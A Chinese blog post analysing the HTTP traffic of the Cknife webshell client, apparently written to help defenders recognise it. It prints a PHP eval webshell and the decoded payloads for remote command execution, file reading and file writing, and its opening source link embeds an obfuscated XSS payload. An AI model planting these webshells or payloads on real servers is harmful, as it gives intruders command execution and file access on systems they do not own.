本文首发:https://<img src=1 οnerrοr=\u006coc\u0061tion='j\x61v\x61script:\x61lert\x281\x29'>testdemo

0x01 环境

<?php eval($_REQUEST['shell'] ?>

0x02 命令执行

执行命令结果如下图所示

POST的数据如下图所示

对POST的数据解码

#shell
@eval(base64_decode($_POST[action]));#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$ret);
print ($ret!=0)?"ret={$ret}":"";;
echo("|<-");
die();#z1
cmd#z2
cd/d"C:\wamp64\www\"&whoami&echo [S]&cd&echo [E]

z2whoami经过cknife的组合再经过base64编码后的结果,cknife通过eval执行action中的代码,把POST的z1z2base64_decode解码,再把z1z2组合成$r,最后用system执行$r,打印执行结果。

返回结果如下图所示

经过cknife的格式处理,返回的结果变成了上图的样子,->||<-中间的内容就是执行命令的结果

0x03 文件下载

POST的数据如下图所示

对POST的数据解码

#shell
@eval(base64_decode($_POST[action]));#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]);
$fp=@fopen($F,"r");
if(@fgetc($fp)){@fclose($fp);@readfile($F);
}else
{echo("ERROR:// Can Not Read");
};
echo("|<-");
die();#z1
C:\wamp64\www\index.php

z1是目标文件路径经过base64编码后的结果,cknife通过eval执行action中的代码,用base64_decode获取文件的路径,然后判断文件是否能够被读取,如果能够被读取,则用readfile()输出文件的内容,最后将输出的文件内容写入到本地文件中。

返回结果如下图所示

有一点需要注意,cknife可能会将返回的所有内容输出到文件中,所以需要手动取出->||<-之间的内容,否则文件可能格式错误

0x04 文件上传

POST的数据如下图所示

对POST的数据解码

#shell
@eval(base64_decode($_POST[action]));#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();#z1
C:\wamp64\www\test.txt#z2
this is a test

z1是目标文件路径经过base64编码后的结果,z2是本地文件的内容经过hex编码后的结果,cknife通过eval执行action中的代码,用base64_decode先获取目标文件的路径,然后获取z2的内容,使用for循环将原来的hex编码转换为URL编码,再用urldecode进行解码,追加给$buffor循环结束后$buf就是文件的内容,最后写入目标文件中,写入成功返回1,写入失败返回0

返回结果如下图所示

如果->||<-之间的内容为1,则代表文件上传成功

转载于:https://www.cnblogs.com/somata/p/11615680.html

Cknife流量分析相关推荐

  1. 网络异常_网络异常易频发,流量分析来排查

    随着网络技术的飞速发展,越来越多的客户将关键业务迁移到网络之上,大量不同类型的网络设备应用于网络的构建中,一方面扩展了网络的业务种类,另一方面提高了故障出现的概率.如何保障关键业务持续高效.稳定的运行 ...

  2. 2021年中国工业互联网安全大赛核能行业赛道writeup之usb流量分析

    目录 一.USB协议 二.键盘流量 三.鼠标流量 四.writeup 附件题:usb流量分析 题目描述: 具体描述忘记了o(╯□╰)o 大概意思是有个U盘插到电脑上,然后经过一些操作导致该电脑重启了. ...

  3. 如何使用 Druid 和 Kafka 构造 Kappa 架构完成流量分析

    NTT 是一家全球电信公司,总部设在日本东京.在<财富>世界 500 强中,NTT 是世界第四大电信公司.NTT 通信 (NTT Com) 是 NTT 的子公司,其全球 IP 网络 (GI ...

  4. wireshark tcp data中文_wireshark流量分析入门

    点击蓝字关注我们吧! wireshark流量分析入门 打开wireshark后,按ctrl+K,勾选需要抓包的网卡,我这里勾选WLAN. 点击Start开始抓包. wireshark过滤器表达式 协议 ...

  5. 企业为什么需要网络流量分析

    摩卡网络流量分析(Mocha Network Traffic Analyzer)是一个综合网络分析系统,它通过捕获并分析网络中传输的数据包,有效反映网络通讯状况,帮助网络管理人员或非网络管理人员快速准 ...

  6. 网络管理员在预先分配和识别作为_14个网络管理员必备的最佳网络流量分析工具,收藏了...

    企业网络每天都会产生大量数据.企业可以分析这些数据,以深入了解网络运行情况或发现安全威胁.网络流量分析(NTA)解决方案允许网络管理员收集流经网络的流量数据.这些工具通常用于识别性能问题和/或发现安全 ...

  7. 数据分析方法论2——流量分析

    一.背景 有了指标体系和报表之后,最重要的事情就是每天看各种数据了,这也就是流量分析 流量分析:流量指的是广义的流量,从哪里来,经过什么,产生什么价值,如果它波动了,为何波动 1)渠道分析--从哪里来 ...

  8. CTF——MISC——流量分析

    目录 一.流量包修复 二.协议分析 三.数据提取 例题: 1,题目:Cephalopod(图片提取) 2,题目:特殊后门(icmp协议信息传输) 3,题目:手机热点(蓝牙传输协议obex,数据提取) ...

  9. 流量分析_安恒八月月赛

    前言: 流量分析很有意思,之前忙于考试,暂时没有学习了,考试结束了就来总结一下一些CTF下常见的流量分析的题型. 0x00:流量包修复 使用wireshark打开流量包发现报错,可以使用在线pacp包 ...

  10. 网络安全模型_基于数据驱动的网络安全流量分析总结

    导读 网络和社交流量分析是检测和防御网络攻击的基础.随着数据集的日益剧增,手工定义规则的传统方法逐渐被机器学习(ML)方法替代,这是因为ML有更好的工作性能.在数据驱动的研究背景下,通过研究社交流量和 ...

最新文章

  1. 能熟练掌握和应用计算机基础知识,浙江省大学生计算机基础知识与应用能力等级考试二级(V......
  2. 欧拉函数的一道练习题(附加容斥做法)
  3. 【NOI 2018】归程(Kruskal重构树)
  4. pe估值 python_Python编程学习笔记(7)
  5. 贪心算法 0-1背包c语言,贪心算法0-1背包问题(算法实验代码).pdf
  6. 【SpringCloud】Spring cloud Alibaba Sentinel 服务降级 (阿里版本Hystrix)
  7. 数学 - 线性代数导论 - #9 Ax=b的解:存在性、解法、解的结构、解的数量
  8. Atitit.css 规范 bem 项目中 CSS 的组织和管理
  9. 将DataFrame某列中的空值填充为0
  10. 删除华为C8650手机驱动的过程
  11. JS,CSS是前端,JAVA PHP ASP是后端,数据库是后端的处理对象,非代表前后底
  12. Mac idea破解到2100年
  13. 超详细 Servlet工作原理解析
  14. github fatal: Authentication failed for解决方法
  15. iOS保持App真后台运行
  16. SSM整合(基于配置类整合
  17. 高清播放知识之 480P、720P、1080P
  18. 将三张灰度图转换为RGB三通道图片python
  19. 图论及其应用 2015年期末考试 答案总结
  20. 利用js,实现网页上实时更新时间,需要时直接拿来用,不需要改动

热门文章

  1. 来自Unix/Linux的编程启示录
  2. linux系统中英文切换
  3. oracle random函数用法,Oracle随机函数的用法
  4. (美)梅耶(Myers, G. J.) 等《软件测试的艺术(原书第3版)》书籍(第3版)
  5. python实现自动打电话软件_python 实现手机自动拨打电话的方法(通话压力测试)
  6. Java常用类(三):FileUtils类
  7. C++坦克大战源代码
  8. HLS ug871学习
  9. 数学建模:Leslie离散人口发展模型
  10. html 颜色在线取色器